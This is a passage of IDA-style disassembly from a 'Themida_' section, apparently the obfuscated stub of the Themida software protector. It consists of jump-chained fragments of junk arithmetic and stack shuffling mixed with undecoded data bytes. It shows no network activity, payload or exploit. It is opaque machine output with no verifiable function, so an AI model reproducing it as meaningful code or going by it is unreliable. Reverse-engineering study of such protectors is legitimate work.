		jmp	loc_50145D
; ---------------------------------------------------------------------------


loc_4FFCC8:				; CODE XREF: Themida_:004FE29Fj
		mov	esp, [esp]
		add	[edi+24h], ecx
		jmp	loc_4FB38F
; ---------------------------------------------------------------------------


loc_4FFCD3:				; CODE XREF: Themida_:004FB96Aj
		push	edi
		push	15002EF3h
		pop	edi
		mov	ebp, 0EAFFD10Eh
		jmp	loc_4FBA39
; ---------------------------------------------------------------------------
		dd 5AD50159h, 8704C583h, 815C242Ch, 4ECh, 24048900h, 0D406BCB8h
		dd 0A125484Ch, 55271727h, 0FFA5F6E9h, 0C8B66FFh, 4EC8124h
		dd 89000000h, 0EFE92414h, 50FFFFA0h, 2A00B568h,	0E0C1584Bh
		dd 72C6E908h, 34FFFFFFh, 0FECDE924h, 895CFFFFh,	5D54242Ch
		dd 69EAE950h, 0FB25FFFFh, 55021F06h, 9C260768h,	0F5815D02h
		dd 6100061Dh, 0FF83E4E9h, 64EA81FFh, 4253C240h,	0E30C281h
		dd 5BE9137Ah, 47FFFFFEh, 3C12BB53h, 0E3813877h,	69CC022Ah
		dd 676CF381h, 0DF31C8D2h, 11892D5Bh, 0F8292D63h, 63118905h
		dd 73685F2Dh, 8900003Ah, 57532414h, 9E220CBFh, 0EA27E96Ah
		dd 0E2C1FFFFh, 0C1DAF706h, 0EAC102E2h, 55C28105h, 29016803h
		dd 0A362E9D1h, 2489FFFFh, 24048324h, 2434FF04h,	0B5CE9h
		dd 1C77FF00h, 6658669Dh, 9C240419h, 0FF5F3DE9h,	48B66FFh
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 54240489h
		dd 0FFD8B8E9h, 2EF868FFh, 21E90000h, 4FFFFCFh, 366866EDh
		dd 14896652h, 400B624h,	2CF028F4h, 148B66F4h, 2C48124h
		dd 51000000h, 887DB753h, 0E1805BF9h, 6E1C033h, 0FE02E9C0h
		dd 0EAE953C9h, 53FFFFE6h, 200BBh, 1C5F0900h, 52241C8Bh
		dd 0DD685A54h, 8900005Bh, 0E952242Ch, 0FFFF72A6h
; ---------------------------------------------------------------------------


loc_4FFE50:				; CODE XREF: Themida_:004F7621j
		mov	esi, 40000h
		and	eax, esi
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_4FDFAF
; ---------------------------------------------------------------------------
		dw 0E3C1h
		dd 57E95106h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FFE6B:				; CODE XREF: Themida_:004FAC4Fj
		mov	edi, 3E981727h
		jmp	loc_4F9A54
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 33241C31h, 248B241Ch, 243C8924h, 0BE565F54h,	8BA223Bh
		dd 3FC3BF57h, 11E9327Dh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FFE97:				; CODE XREF: Themida_:004F9975j
		add	ecx, 4
		jmp	loc_4F9391
; ---------------------------------------------------------------------------
		db 0D1h
		dd 0B2BD55E2h, 8157B81Eh, 506C4AE5h, 49C58120h,	8116577Eh
		dd 0F6B2FDC5h, 5DEA2941h, 0E95AD029h, 0FFFFB9BAh, 89241489h
		dd 4C281E2h, 56000000h,	662977BEh, 0DFE68118h, 0C12C7D5Fh
		dd 0EAE907E6h, 0E9000022h, 0FFFF5E2Ah, 4304C483h, 0FFE4B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FFEF1:				; CODE XREF: Themida_:004FF316j
		mov	[esp], ebx
		mov	ebx, 0BD0BCEh
		jmp	loc_5000F4
; ---------------------------------------------------------------------------
		dw 8F5Dh
		dd 0E95C2404h, 27CFh, 0FF5E05E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FFF0D:				; CODE XREF: Themida_:004F9CFEj
		mov	esi, edx
		pop	edx
		sub	esi, edx
		pop	edx
		and	ebp, esi
		pop	esi
		push	ecx
		mov	ecx, 497356E9h
		add	ebp, ecx
		pop	ecx
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_502573
; ---------------------------------------------------------------------------
		dd 8759CA01h, 248B2414h, 0BC9FE924h, 3431FFFFh,	24343324h
		dd 5DCCE95Ch, 0C183FFFFh, 240C8704h, 0FFE890E9h, 240489FFh
		dd 69E988B0h, 80FFFF84h, 0EE282EC5h, 0FFDD34E9h, 28AB2CFFh
		dd 4AE951D8h, 8BFFFF75h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 671201B3h
		neg	eax
		xor	eax, 1A3D271Ch
		and	eax, 5A8C616Bh
		shr	eax, 4
		jmp	loc_5007D8
; ---------------------------------------------------------------------------


loc_4FFF8F:				; CODE XREF: Themida_:004FD696j
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		push	edi
		push	edx
		jmp	loc_4FD0BB
; ---------------------------------------------------------------------------
		db 57h,	89h, 0E7h
		dd 0FFD218E9h, 0E9B951FFh, 107A615h, 5908244Ch,	4244401h
		dd 4246C81h, 7A615E9h, 2434FF58h, 0FF61DDE9h, 0C18159FFh
		dd 4, 0FFF254E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FFFD1:				; CODE XREF: Themida_:004FA4BDj
		push	ebx
		mov	ebx, 9334110h
		add	[esp+4], ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 9334110h
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_4FD704
; ---------------------------------------------------------------------------


loc_4FFFF6:				; CODE XREF: Themida_:004F62A5j
		sub	ebp, edx
		pop	edx
		jmp	loc_4F7F01
; ---------------------------------------------------------------------------


loc_4FFFFE:				; CODE XREF: Themida_:004FE036j
		xchg	ebp, [esp]
		jmp	loc_4FD4ED
; ---------------------------------------------------------------------------


loc_500006:				; CODE XREF: Themida_:005023F4j
		pop	esp
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 2E3D73FAh
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_50264A
; ---------------------------------------------------------------------------
		db 0ACh, 66h, 68h
		dd 89660DFBh, 0DB22414h, 0FFCC3EE9h, 2B951FFh, 0E9000000h
		dd 0FFFF72E7h, 0EA7B9ABEh, 81DEF740h, 7F59BCC6h, 0BAEE8159h
		dd 1CAB5D0h, 0E9515EF2h, 0FFFFF12Dh, 63FC68h, 240C8900h
		dd 6856E189h, 54Fh, 0B8240489h,	2B3C55BAh, 0CCE95048h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500073:				; CODE XREF: Themida_:004FD9C6j
		mov	esi, ebp
		pop	ebp
		mov	edx, esi
		pop	esi
		mov	edi, edx
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_4FDC55
; ---------------------------------------------------------------------------
		db 0F6h
		dd 37E950DAh, 2DFFFF66h, 1F7752F2h, 50DF0559h, 2CE93AA9h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50009F:				; CODE XREF: Themida_:004FC9C5j
		or	edx, 37E259E4h
		push	ecx
		mov	ecx, 383946B8h
		or	edx, ecx
		jmp	loc_4FA11E
; ---------------------------------------------------------------------------
		dw 0FF50h
		dd 0E9042474h, 0FFFF673Dh, 7CE2BB53h, 0DBF77CF3h, 6804E3C1h
		dd 30D6h, 0E9242C89h, 1519h, 2DBFEB81h,	0E95A1027h, 144Eh
		dd 4C181h, 0C1830000h, 240C8704h, 0E924248Bh, 0FFFF5C1Eh
; ---------------------------------------------------------------------------


loc_5000F4:				; CODE XREF: Themida_:004FFEF9j
		sub	ebx, 0FB7ECA53h
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, ebx
		add	edx, 53E417Bh
		sub	edx, 522C3B1Ch
		jmp	loc_4F61E3
; ---------------------------------------------------------------------------


loc_500118:				; CODE XREF: Themida_:00500ADAj
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_4FA38E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8E685056h, 0E96EA03Dh, 0FFFF6DCAh, 12A8BF57h, 0FA2944EAh
		dd 0C281585Fh, 5F604BAEh, 0EA81EA01h, 5F604BAEh, 39F7EA81h
		dd 94E90007h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500157:				; CODE XREF: Themida_:00501B8Dj
		xor	edx, ecx
		jmp	loc_4FAA44
; ---------------------------------------------------------------------------
		dw 81ACh
		dd 4ECh, 0B4FFE900h, 0C781FFFFh, 4, 5C243C87h, 1BE5E9h
		dd 37E95900h, 1000004h,	61662DF8h, 1005266Ch, 8B7A817Fh
		dd 8957243Ch, 4C781E7h,	81000000h, 4C7h, 243C8700h, 7B46E95Ch
		dd 32BDFFFFh, 2D029624h, 4A6D3341h, 4105E829h, 5D4A6D33h
		dd 3205F801h, 5F029624h, 0E902C083h, 0FFFFD6AAh, 8BEB295Bh
		dd 0C483242Ch, 0E9C30104h, 0FFFF98E7h
; ---------------------------------------------------------------------------


loc_5001D8:				; CODE XREF: Themida_:004F8C06j
		mov	[esp], esi
		mov	esi, 5CDA6ED8h
		shr	esi, 2
		jmp	loc_4F9B7B
; ---------------------------------------------------------------------------
		dd 0DEBD5559h, 0C119A575h, 0D5F708EDh, 0C108EDC1h, 0E0E905EDh
		dd 0F6000008h, 0E99C241Ch, 0FFFF5B0Ah, 0E9D02966h, 0FFFF6551h
		dd 0BE6BE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500216:				; CODE XREF: Themida_:004F76BFj
		mov	ebp, 151A4F9Dh
		sub	ebp, 1EF4321Ah
		neg	ebp
		and	ebp, 0F854B5Fh
		jmp	loc_4FD97A
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 6B0E6178h, 0EB81F301h, 6B0E6178h, 0F0DC381h,	4BE90CACh
		dd 66000019h, 0E9240C89h, 1AB4h, 81D2F742h, 0DECB55EAh
		dd 5AD789C6h, 4247C01h,	8B2434FFh, 0C481243Ch, 4, 4C481h
		dd 48F0000h, 4BE5624h, 1000000h, 8B042474h, 89532434h
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 0FF89E4E9h, 59CA29FFh
		dd 11D1CA81h, 0B9513A9Eh, 310704B1h, 0E904E1C1h, 13C9h
		dd 4C581h, 2C330000h, 870FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5002BE:				; CODE XREF: Themida_:004FE9D9j
		mov	[esp], ecx
		jmp	loc_4FAEE5
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 2, 2474FF57h, 891BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5002D6:				; CODE XREF: Themida_:004FAFA3j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_4F74CE
; ---------------------------------------------------------------------------


loc_5002E5:				; CODE XREF: Themida_:004F6437j
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 542E3127h
		or	edx, 7F6A77C6h
		xchg	ebp, edx
		jmp	loc_4F9389
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 4
		dd 87000000h, 20E9240Ch, 89000010h, 331D68E6h, 93E90000h
		dd 56FFFF8Dh, 0AB412CBEh, 0BED8B833h, 0F001CC54h, 5C6FE95Eh
		dd 0BB53FFFFh, 22B87A98h, 0C60FC381h, 0D88927E7h, 0FFB09BE9h
		dd 0F7E987FFh, 946BE9D5h, 0E589FFFFh, 4C581h, 0C5810000h
		dd 4, 5C242C87h, 3A53EB81h, 0EB8134A5h,	5F78B126h, 0E95BD801h
		dd 0FFFFC0FCh
; ---------------------------------------------------------------------------


loc_500370:				; CODE XREF: Themida_:004FDFE6j
		not	edx
		jmp	loc_4FE33D
; ---------------------------------------------------------------------------
		db 53h
		dd 888BB652h, 0D8285AF3h, 81241C8Bh, 4C4h, 66D00000h, 0BCA5E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500392:				; CODE XREF: Themida_:004F7A2Dj
		mov	ebp, 552F6306h
		xor	[esp+4], ebp
		jmp	loc_4FEDAD
; ---------------------------------------------------------------------------
		dd 0C107E9C1h, 0E9C103E1h, 0F1BE5608h, 0E9668B16h, 0FFFF7DB1h
		dd 0E940478Fh, 0FFFF5956h, 20EF815Ah, 295DE53Dh, 1E71E9EFh
		dd 3BB80000h, 5705C263h, 0F989C789h, 97FEE95Fh,	1433FFFFh
		dd 0C2E95C24h, 58FFFFE2h, 0D4EB80h, 0D4C380C3h,	0A6268h
		dd 240C8900h, 0FFC240E9h, 4EC83FFh, 0BD242C89h,	4, 815DEB89h
		dd 0A066DAC5h, 0E9DD0142h, 0FFFFE2F5h, 0E9240489h, 0FFFFA78Ch
		dd 5783C381h, 1594D33h,	0EC835BDAh, 71CDE904h, 0E189FFFFh
		dd 0FF814BE9h, 0C8B66FFh, 5E545624h, 4C681h, 0EE810000h
		dd 4, 31243433h, 34332434h, 0C895C24h, 0C8B5424h, 0E7895724h
		dd 4C781h, 0C7830000h, 243C8704h, 4BB535Ch, 81000000h
		dd 4F1F5AC1h, 81D90177h, 4F1F5AE9h, 0C1835B77h,	240C8702h
		dd 0FF82A6E9h, 56F187FFh, 5E241CF7h, 0A1E9F187h, 0FFFFFFC8h
		dd 83592434h, 148904ECh, 148B5424h, 0B969E924h,	0C481FFFFh
		dd 4, 0E95A5452h, 0FFFF8CEFh, 5854E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5004BE:				; CODE XREF: Themida_:004FE800j
		pop	eax
		jmp	loc_4F79E1
; ---------------------------------------------------------------------------
		dd 6824048Bh, 311Bh, 68242C89h,	2174h, 81242489h, 4ECh
		dd 242C8900h, 8341E950h, 0EBC1FFFFh, 0EABE5608h, 8119E473h
		dd 6B695FE6h, 0CE814E72h, 7FD33A48h, 13B2EE81h,	0EE811A12h
		dd 0A1B1E00h, 0B210C681h, 0F329E2ABh, 0E9D9295Eh, 0FFFFD046h
; ---------------------------------------------------------------------------


loc_500518:				; CODE XREF: Themida_:004FBA8Dj
		push	edi
		mov	edi, 0A7425449h
		jmp	loc_500A3E
; ---------------------------------------------------------------------------


loc_500523:				; CODE XREF: Themida_:004FAF16j
		mov	esp, [esp]
		jmp	loc_4FA7AE
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF57E2h, 4C681h, 34870000h, 6A0BE924h, 0E320FFFFh
		dd 0FFE192E9h, 0E9028FFFh, 0FFFF57C6h, 4EC81h, 0C890000h
		dd 4B924h, 27E90000h, 0ADFFFF5Bh, 0FF5A86E9h, 4C181FFh
		dd 0E9000000h, 0FFFFF9D6h
; ---------------------------------------------------------------------------


loc_500570:				; CODE XREF: Themida_:004FBFA2j
		pop	ecx
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ecx, esi
		mov	esi, [esp]
		push	ecx
		jmp	loc_4FAC16
; ---------------------------------------------------------------------------
		dd 240C8B66h, 60BF68h, 242C8900h, 242C8B54h, 4C481h, 89570000h
		dd 4C781E7h, 81000000h,	4EFh, 0DD64E900h, 248BFFFFh, 0B73E924h
		dd 46250000h, 0E968810Dh, 0FFFFC60Fh, 8104C483h, 4C4h
		dd 53515200h, 0FFEC6FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5005D1:				; CODE XREF: Themida_:004F76ECj
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------
		dw 0CB80h
		dd 0AFC380F1h, 5279EB80h, 0D188DA88h, 0F0E95B5Ah
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5005EB:				; CODE XREF: Themida_:004FEDD7j
		mov	ebp, [esp]
		push	esi
		jmp	loc_4F7D36
; ---------------------------------------------------------------------------
		dd 67C4CF81h, 0BFE95F45h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5005FF:				; CODE XREF: Themida_:004FD0F8j
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], bx
		jmp	loc_4FD4FC
; ---------------------------------------------------------------------------


loc_500612:				; CODE XREF: Themida_:00502725j
		add	edi, 69FC514Dh
		push	eax
		jmp	loc_5019DE
; ---------------------------------------------------------------------------


loc_50061E:				; CODE XREF: Themida_:00500FE5j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		mov	eax, 741D7B11h
		mov	esi, eax
		pop	eax
		push	eax
		mov	eax, 3BFC5AE6h
		add	eax, 6C770FCDh
		add	eax, 0E56F1A3Ch
		add	esi, eax
		pop	eax
		and	eax, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_4FA4B4
		push	ebx
		push	1Ch
		jmp	loc_4F67D0
; ---------------------------------------------------------------------------


loc_500693:				; CODE XREF: Themida_:004F80D0j
		push	esp
		mov	eax, [esp]
		jmp	loc_4F710A
; ---------------------------------------------------------------------------


loc_50069C:				; CODE XREF: Themida_:004FF935j
		push	ebx
		push	edi
		push	16986925h
		pop	edi
		not	edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		sub	edi, 0F6411DE7h
		mov	ebx, edi
		pop	edi
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		push	eax
		jmp	loc_4F6D1B
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 698F7AB7h, 243C875Bh, 5D48E95Ch, 0C481FFFFh,	4, 4EC8352h
		dd 0E9240489h, 0FFFF5BD7h
; ---------------------------------------------------------------------------


loc_5006EC:				; CODE XREF: Themida_:00500B32j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4F6C5D
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 20h
		dd 0FFFFFF9Eh, 34FF2434h, 0C4835824h, 21E86804h, 14890000h
		dd 4EC8124h, 89000000h,	4832424h, 565A0424h, 1A9CE9h, 89665C00h
		dd 0A0B62414h, 0C043B353h, 2CE908EBh, 33FFFFE2h, 0E9E92404h
		dd 2DFFFFBCh, 65984031h, 0FFDBC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_500745:				; CODE XREF: Themida_:004FF89Fj
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_501B5C
; ---------------------------------------------------------------------------
		dd 4C481h, 0C3810000h, 2, 75E7E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500762:				; CODE XREF: Themida_:004FCAABj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_500D3D
; ---------------------------------------------------------------------------


loc_50076D:				; CODE XREF: Themida_:00501463j
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_4FE013
; ---------------------------------------------------------------------------
		db 81h
		dd 6C0175CBh, 8EBC147h,	0FF71A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_500785:				; CODE XREF: Themida_:004FD2C9j
		sub	ebp, eax
		pop	eax
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_4FDCD8
; ---------------------------------------------------------------------------
		dw 0C329h
		dd 0FFAACBE9h, 34C781FFh, 0E925490Eh, 0FFFF8206h, 39BDF781h
		dd 0CF815B4Bh, 486B51B0h, 4147F781h, 0F78123D9h, 5B3236F7h
		dd 335FFD01h, 0F3E9242Ch
		db 57h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5007C7:				; CODE XREF: Themida_:004FB38Aj
		push	4FD657D0h
		jmp	loc_4F99DB
; ---------------------------------------------------------------------------
		db 53h,	56h, 0E9h
		dd 0FFFFEA9Dh
; ---------------------------------------------------------------------------


loc_5007D8:				; CODE XREF: Themida_:004FFF8Aj
		dec	eax
		push	edi
		mov	edi, 0AC04817h
		neg	edi
		and	edi, 0A5F79BBh
		jmp	loc_4FE9A9
; ---------------------------------------------------------------------------
		dd 0CA81D2F7h, 1FC8176Ch, 0E8EA814Ah, 1DFD8B7h,	0B8505AD3h
		dd 4, 0FFA4BCE9h, 0CA815EFFh, 67CF3FF9h, 2922BB53h, 0DA29799Eh
		dd 0E9D6315Bh, 0FFFFE807h, 68FCF580h, 0
		dd 8A242C28h, 0C483242Ch, 8E5C004h, 0FF5E93E9h,	0D5F381FFh
		dd 55781609h, 0DE9DD89h, 0ADFFFF6Ah, 0BF57D831h, 76DB5B3h
		dd 762BCB05h, 2DF80156h, 56762BCBh, 0FFB2B9E9h,	68535EFFh
		dd 234Dh, 0BD242C89h, 47AB2682h, 0FFF09FE9h, 405FFh, 0E8830000h
		dd 24048704h, 2414895Ch, 27785BAh, 4EC832Ch, 0B8240489h
		dd 0B3B1D46h, 635ABF57h, 0BD551DC4h, 31522B96h,	41E9EF01h
		db 6Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5008A7:				; CODE XREF: Themida_:004FDCB8j
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_500ACE
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFC2CFh, 0BA241489h, 6B8E071Fh, 241568h, 0CA09E900h
		dd 3C89FFFFh, 3C8B5424h, 4C48124h, 81000000h, 4C7h, 0A66EE900h
		dd 0C33FFFFh, 240C3124h, 8B240C33h, 4012424h, 1BE99C24h
		dd 89FFFF54h, 6C95E9E1h, 0D0B1FFFFh, 1C43E9h, 75E95300h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50090B:				; CODE XREF: Themida_:004FEBCBj
		sub	esi, 1
		shr	esi, 5
		dec	esi
		jmp	loc_4FA056
; ---------------------------------------------------------------------------
		dw 5E54h
		dd 0FF5848E9h, 0C4835BFFh, 4C38104h, 68000000h,	5D26h
		dd 0FF7F3DE9h, 3E7C1FFh, 599FE781h, 0F78121D1h,	6F896213h
		dd 2FFBEE81h, 0C68109F2h, 2D0879FFh, 0EE81FE29h, 2D0879FFh
		dd 2FFBC681h, 3C8B09F2h, 4C48324h, 1CD6E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50096A:				; CODE XREF: Themida_:004FA4EBj
		pop	eax
		push	ecx
		jmp	loc_4F97E6
; ---------------------------------------------------------------------------
		db 0BEh, 40h, 20h
		dd 684E330Fh, 3C7h, 0B8240489h,	10A81A68h, 0FF6A37E9h
		dd 5CC781FFh, 29779927h, 5CEF81C7h, 58779927h, 0FFD0A4E9h
		dd 0C38143FFh, 0A258A04Fh, 575BDA01h, 0DA15F0BFh, 5FFA0902h
		dd 8904EC83h, 34E9243Ch, 55FFFF76h, 0FF5E97E9h,	0D3C580FFh
		dd 0E9E3B652h, 0FFFF7D16h, 2404085Ch, 533CE99Ch, 8B66FFFFh
		dd 25E92404h, 66FFFF68h, 8324048Bh, 148904ECh, 68E28924h
		dd 754Dh, 0FF5882E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5009F5:				; CODE XREF: Themida_:004FCAB1j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_500B92
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FEAFF180h, 0B65266C1h, 66F1207Eh, 8124148Bh, 2C4h
		dd 0B8C18000h, 51C88850h, 0CE88C188h, 0B28DE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500A2A:				; CODE XREF: Themida_:004FCFA5j
		push	361Ah
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_4FBD1B
; ---------------------------------------------------------------------------


loc_500A3E:				; CODE XREF: Themida_:0050051Ej
		add	edx, edi
		pop	edi
		mov	edi, edx
		pop	edx
		shl	edi, 4
		and	edi, 55326339h
		jmp	loc_4FE408
; ---------------------------------------------------------------------------
		dw 433h
		dd 24043124h, 5C240433h, 0E95F5657h, 17BFh, 0E9028F66h
		dd 0FFFF52A6h
; ---------------------------------------------------------------------------


loc_500A6C:				; CODE XREF: Themida_:004FEE79j
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4B6824B4h
		xor	ebp, 4B6824F4h
		and	ecx, ebp
		jmp	loc_4F9950
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF5276h, 952B6CBAh, 0C2814A63h, 31781Eh, 0A385EA81h
		dd 0BAE963C6h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500AB3:				; CODE XREF: Themida_:004FD132j
		mov	[esp], ebx
		jmp	loc_4F72DD
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0FFAA6AE9h, 81C129FFh, 5A3FD7C1h, 0A85DE913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500ACE:				; CODE XREF: Themida_:005008ADj
		pop	ebx
		add	esp, 4
		push	3E69h
		mov	[esp], eax
		jmp	loc_500118
; ---------------------------------------------------------------------------
		db 4Dh
		dd 0FF2DED81h, 0EE010007h, 2434875Dh, 0E924248Bh, 0FFFFEEF3h
		dd 5804C483h, 8904EC83h, 0E950240Ch, 0FFFFC831h, 0E955E189h
		dd 0FFFF979Fh, 0E924048Fh, 0FFFFE3ACh, 0EE6BE56h, 3BE95406h
		dd 55FFFF73h, 0CCE95D54h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500B27:				; CODE XREF: Themida_:00501993j
		shr	ebx, 6
		jmp	loc_4FADCD
; ---------------------------------------------------------------------------


loc_500B2F:				; CODE XREF: Themida_:004F62BEj
		sub	ebp, 4
		jmp	loc_5006EC
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0CAFE08EAh, 0E98EEA80h, 0FFFFB608h, 148BD301h, 4C48124h
		dd 81000000h, 0FC3C92EBh, 9DC38121h, 157CF40h, 8378E9C3h
		dd 0E800FFFFh, 59663904h, 4EC8151h, 89000000h, 0B1512404h
		dd 28BFB4FDh, 240C8BCCh, 8804C483h, 24048BE5h, 51E38953h
		dd 4B9h, 0B25CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500B92:				; CODE XREF: Themida_:005009FEj
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	esi
		push	ecx
		mov	ecx, 3D2E4784h
		not	ecx
		and	ecx, 29464E44h
		xor	ecx, 400844h
		mov	esi, ecx
		pop	ecx
		add	ebp, esi
		pop	esi
		jmp	loc_4F9579
; ---------------------------------------------------------------------------
		db 80h
		dd 0EC8196EBh, 4, 0FFB1D9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_500BC9:				; CODE XREF: Themida_:004F910Dj
		add	esp, 4
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_4F7B10
; ---------------------------------------------------------------------------


loc_500BE8:				; CODE XREF: Themida_:004F9053j
		pop	ecx
		add	ebp, 4D4FC409h
		jmp	loc_4FCA6A
; ---------------------------------------------------------------------------
		dd 31241433h, 0ABE92414h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500BFF:				; CODE XREF: Themida_:004F67DCj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_4F9085
; ---------------------------------------------------------------------------
		dd 66F30166h, 0C381665Eh, 2DE95FDCh
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500C1B:				; CODE XREF: Themida_:004F60E3j
		mov	[esp], ebx
		jmp	loc_50222B
; ---------------------------------------------------------------------------
		db 87h
		dd 0D25C242Ch, 0E99C243Ch, 0FFFF50E2h, 0FF50DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_500C35:				; CODE XREF: Themida_:004F8426j
		mov	[esp], ebp
		push	78071BEFh
		pop	ebp
		push	ebx
		mov	ebx, 0
		add	ebx, 14BC0406h
		sub	ebx, ebp
		jmp	loc_4F8974
; ---------------------------------------------------------------------------
		db 5Bh,	53h, 0BBh
		dd 0FAA6D7DDh, 53E9D829h, 0B2FFFFFCh, 0B0FDE989h, 6850FFFFh
		dd 7DE12D73h, 8124048Bh, 4C4h, 0EB2500h, 0E95264CDh, 0FFFFCA8Fh
		dd 43D3F759h, 83CEF381h, 0DF0102E8h, 83241C8Bh,	0C18104C4h
		dd 792E5F25h, 215E9h
		db 0
; ---------------------------------------------------------------------------


loc_500C9D:				; CODE XREF: Themida_:004FF90Fj
		push	dword ptr [esp]
		jmp	loc_4FA90E
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 75h
		dd 811AA308h, 0FB49D4EEh, 2DC6814Fh, 81465C2Eh,	1331A3C6h
		dd 9B8500Bh, 4839AF3Bh,	0FF9397E9h, 0C4815AFFh,	4, 0FF9161E9h
		dd 7A2568FFh, 1C890000h, 71ADBB24h, 9FE956EBh
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500CE7:				; CODE XREF: Themida_:004F918Fj
		and	ebx, ebp
		mov	ebp, [esp]
		push	esi
		jmp	loc_4FC299
; ---------------------------------------------------------------------------
aQishra		db 'Q‰áhrA',0
		align 2
		dw 1C89h
		dd 31766824h, 435B1102h, 994E9h, 4C58100h, 83000000h, 0BE902C5h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_500D17:				; CODE XREF: Themida_:0050149Dj
		mov	eax, 30B09D2h
		and	edx, eax
		pop	eax
		or	edx, 392F24F2h
		push	eax
